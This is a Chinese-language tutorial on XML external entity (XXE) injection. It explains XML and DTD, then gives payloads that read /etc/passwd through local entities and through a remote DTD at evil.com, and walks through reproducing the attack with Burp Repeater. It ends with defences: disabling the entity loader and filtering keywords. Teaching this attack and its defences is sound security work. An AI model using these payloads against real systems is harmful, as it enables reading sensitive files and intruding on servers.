一、XXE 漏洞介绍

  XXE 漏洞全称 XML External Entity Injection即 xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

  • XXE漏洞是基于XML

二、什么是 XML,DTD

1、XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。

  • XML 是一种很像HTML的标记语言。

  • XML 的设计宗旨是传输数据,而不是显示数据。

  • XML 标签没有被预定义。您需要自行定义标签。

  • XML 被设计为具有自我描述性。

  • XML 是 W3C 的推荐标准。

  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。
  • 是一种允许用户对自己的标记语言进行定义的源语言。
  • XML文档结构包括XML声明、DTD文档类型定义、文档元素。

例子:xxe.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<!--引入dat,约束这个xml-->

<!DOCTYPE 班级 SYSTEM "xxe.dtd">
<班级>
<学生>
<名字>张三</名字>
<年龄>20</年龄>
<介绍>学习刻苦</介绍>
</学生>
<学生>
<名字>李四</名字>
<年龄>22</年龄>
<介绍>勤奋好学</介绍>
</学生>
</班级>

2、DTD

  • Document Type Definition 文档类型定义

  • DTD(文档类型定义)的作用是定义xml文档的合法构建模块。

    DTD 可以在 XML 文档内声明,也可以外部引用。

    PCDATA 指的是被解析的字符数据(Parsed Character Data)

    XML解析器通常会解析XML文档中所有的文本

例子:xxe.dtd

1
2
3
4
5
<!ELEMENT 班级 (学生+)>
<!ELEMENT 学生 (名字,年龄,介绍)>
<!ELEMENT 名字 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 介绍 (#PCDATA)>

三、XXE 实体注入

1、XML 外部实体注入:

  当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

2、恶意引入外部实体的三种方式

(1)本地引入

XML内容:

1
2
3
4
5
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY wintrysec SYSTEM "file:///etc/passwd">
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)

(2)远程引入

XML内容:

1
2
3
4
5
6
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
%d;
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

DTD文件(evil.dtd)内容:

1
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">

(3)远程引入

1
2
3
<?xml version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<test>&wintrysec;</test>

四、XXE 注入漏洞复现

  • 注意

      如自搭靶机执行系统命令(安装expect扩展的PHP环境里才有)

1、随便输入内容,然后 burp抓包

2、丢进 Requeater ,然后 send看回显

  • 可看到有 xml可扩展标记语言

3、修改数据包 - 读取任意文件

修改数据包内容为

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<root><name>&admin;</name><password>1</password></root>

注意:<name>admin 修改为👉 <name>&admin;</name>

4、DTD 文档的声明及引用

1.内部 DTD文档

1
<!DOCTYPE 根元素 [定义内容]>

2.外部 DTD文档

  • 引入外部的 DTD文档分为两种:

(1)当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

(2)如果引用的DTD文件是一个公共的文件时,采用PUBLIC标识,如下方式:

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

比如下例:

1
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems,Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

五、XXE 注入攻击——防御

1、禁用外部实体注入

  • 若是在PHP中,libxml_disable_entity_loader **设置为TRUE**可禁用外部实体注入,另一种作为参数在DTD文件中使用
    • libxml_disable_entity_loader (true)

2、过滤用户提交的XML数据

关键字

  • <!DOCTYPE>
  • <!ENTITY>
  • SYSTEM